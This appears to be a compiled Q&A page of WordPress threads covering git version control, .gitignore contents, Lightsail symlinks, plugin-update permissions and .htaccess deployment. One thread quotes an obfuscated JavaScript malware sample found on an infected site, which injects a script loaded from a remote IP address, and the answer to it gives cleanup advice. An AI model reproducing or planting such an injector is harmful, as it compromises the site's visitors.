WORDPRESS - How to manage code repository with GIT - wordpress

In wordpress development, we have to deal with upgrade version of plugins and I don't know how to manage code repository with them. actually, we have 3 folders like wp-content, wp-admin, wp-includes, ...
Should I push all of the code which belong to wordpress folder into the GIT repository? Then the new version of plugin will affect to changes of files.
How do I manage the changing of files as less as it can? Should I use .gitignore for it?
Updated: I found the solution at here with the examples. Check this link out
.It is really cool

WordPress can be a joy for running in a GIT repository, this is how I handle it.
I gitignore wp-config.php because that is usually different between local, staging and live sites.
I also gitignore the uploads folder because binary files in git suck and your repo will grow brutally fast. Plus it makes it a pain in the butt to do local development while the site is live.
There are some cool solutions out there, search for Bedrock by Roots for doing interesting deploys, but honestly the simplest way is just to make a repo of the entire install minus the uploads and wp-config.php.
Manually create the wp-config.php on the server.
Use rsync to manage the uploads or you could use FTP if you're not keen on the terminal.

This is the .gitignore file that I use for my projects.
/.idea/
*.log
/wp-includes/
/wp-admin/
/wp-content/advanced-cache.php
/wp-content/backup-db/
/wp-content/backups/
/wp-content/cache/
/wp-content/languages/
/wp-content/plugins/
/wp-content/upgrade/
/wp-content/uploads/
/wp-content/wflogs/
/wp-content/wp-cache-config.php
/.htaccess
/license.txt
/readme.html
I only work with private repositories so I don't have to exclude the wp-config.php.

Related

AWS Lightsail Wordpress Version control

I'm working on a wordpress site hosted on an AWS Lightsail instance (Bitnami) and i'd like to have version control to work on our site themes with a coworker.
I like the idea of just having to git pull to make changes to the site.
In the wordpress folder (that contains wp-admin, licences, wp-config.php, etc...), there is the wp-content folder but it's a symbolic link that points outside the wordpress folder to root/bitnami/wordpress/wp-content. I can't use git in the wordpress folder but I can set it up in the root/bitnami/wordpress/wp-content but it feels like bad practice since it asks me for admin privileges for every command line.
Is there a reason the wp-content folder is a symbolic link that points to outside the wordpress folder or is it just a mistake from the person who set things up?
Is it okay to use git to bypass an ftp client in this case?
So I just had this same issue today, and I resolved this by moving the directories for .../wp-content to the location of the symlinks and deleting the symlinks.
This was my process (though you could delete the symlinks first):
Move wp-content mv /bitnami/wordpress/wp-content /location/of/wordpress/temporary-directory-name
Delete symlinks rm -f /location/of/wordpress/
Rename temporary-directory-name using move mv /location/of/wordpress/temporary-directory-name /location/of/wordpress/wp-content
You can then repeat the same steps for the wp-config.php file. Once this was done I was able to verify Wordpress was still working on my LightSail instance. Hope this helps

Wordpress Plugins Couldn't Update: Could not create directory

Good day! Why is it that I am not able to update my plugins in my Wordpress Website.
In my FTP File I have already set my plugins folder to 755 then configured my wp-contents to 755. In my wordpress Site Health, this is what is written in File Permission
The main WordPress directory Writable
The wp-content directory Writable
The uploads directory Writable
The plugins directory Writable
The themes directory Writable
I have done everything written in this site and still I can't update any of my plugins. I don't know what is wrong anymore or what should I do.
I am using CWP, with WordPress 5.5.1 and PHP version 7.4.10
One way to solve this problem, trying to change the FTP permissions by the “wp-config.php” file.
There're some steps to fix “Installation failed, could not create directory.” From your web hosting account, open the “File Manager”. Within the root folder, locate the “wp-config.php” file.
In your “wp-config.php” file, enter the following passage of code.
NOTE: Replace the information in brackets with your information.
define(‘FS_METHOD’, ‘ftpext’);
define(‘FTP_BASE’, ‘/pathtorootofyourblog/’);
define(‘FTP_USER’, ‘ftpusername’);
define(‘FTP_PASS’, ‘ftppassword’);
define(‘FTP_HOST’, ‘yoursite.com’);
define(‘FTP_SSL’, false);
Save the “wp-config.php” file.
Return to your dashboard and try to install the plugin or upgrade once again. This time, it should be done without any problems.

Wordpress Infected with malware - _0xaae8

I recently found out that my website is infected with js malware.
Through a search, there are 3240 files that were infected with this script.
Just want to ask you guys how can I delete these infected files with this script using SSH
This is the malicious script :
Blockquote
var _0xaae8=["","\x6A\x6F\x69\x6E","\x72\x65\x76\x65\x72\x73\x65","\x73\x70\x6C\x69\x74","\x3E\x74\x70\x69\x72\x63\x73\x2F\x3C\x3E\x22\x73\x6A\x2E\x79\x72\x65\x75\x71\x6A\x2F\x38\x37\x2E\x36\x31\x31\x2E\x39\x34\x32\x2E\x34\x33\x31\x2F\x2F\x3A\x70\x74\x74\x68\x22\x3D\x63\x72\x73\x20\x74\x70\x69\x72\x63\x73\x3C","\x77\x72\x69\x74\x65"];document_0xaae8[5]var _0xaae8 =["","\x6A\x6F\x69\x6E","\x72\x65\x76\x65\x72\x73\x65","\x73\x70\x6C\x69\x74","\x3E\x74\x70\x69\x72\x63\x73\x2F\x3C\x3E\x22\x73\x6A\x2E\x79\x72\x65\x75\x71\x6A\x2F\x38\x37\x2E\x36\x31\x31\x2E\x39\x34\x32\x2E\x34\x33\x31\x2F\x2F\x3A\x70\x74\x74\x68\x22\x3D\x63\x72\x73\x20\x74\x70\x69\x72\x63\x73\x3C","\x77\x72\x69\x74\x65"];document_0xaae8[5]/**
Blockquote
Thanks in advance !
Download your wp-content folder and database, delete your current wordpress installation and install fresh copy of wordpress,
delete all unused themes and plugins from downloaded wp-content and scan that folder and database using your antivirus or using https://www.virustotal.com/ or any antivirus from your linux OS ( if you're using linux )
its better if you'll also delete all the plugins and re-install a fresh copy from wordpress plugins repo, so you only have to scan the current theme being use and the database, if you have enough time, you can dig on the theme files to make sure theres no more malicious code.
re-upload the database and replace the wp-content of your fresh wordpress install from the scan wp-content of the old install.

where to put wordpress htaccess on openshift

I have cloned my wordpress application from openshift with git, in my cloned application there is php folder, when i put my htaccess file in it then i commit my changes like this :
git add -A
git commit -m 'ok'
git push
My htaccess file is not pushed in the application repository folder on openshift, but when i put it via ftp with filezilla it works, not with git.
I don't know where i have to put .htaccess file ? if it is in php folder, why it's not uploaded ?
If you used our official quickstart, you would need to use an action_hook (probably deploy) to copy a .htaccess file into place, otherwise the files are actually not stored in a place that is affected by git. You could also try using this quickstart( https://github.com/openshift-quickstart/openshift-wordpress-developer-quickstart) where EVERYTHING except for uploads, is stored in git (plugins, themes, etc)

Separating Wordpress theme from system files in a git repository

I've been making a Wordpress theme and using git to save progress. My whole Wordpress site is in the git project, and I would like to remove everything except the theme folder so I can easily transplant it on other Wordpress sites.
I know one way is to just delete everything and move the theme to the root folder and commit. But checking out after that will be more complicated, right? So is there another way?
Thanks.
If you are interested in keeping the full history of your Theme folder, you can use git filter-branch and remove everything else.
See "Extract part of a git repository?" ,to be done in a clone of your current repo:
git filter-branch --subdirectory-filter Project/SubProject-0 --prune-empty -- --all

Resources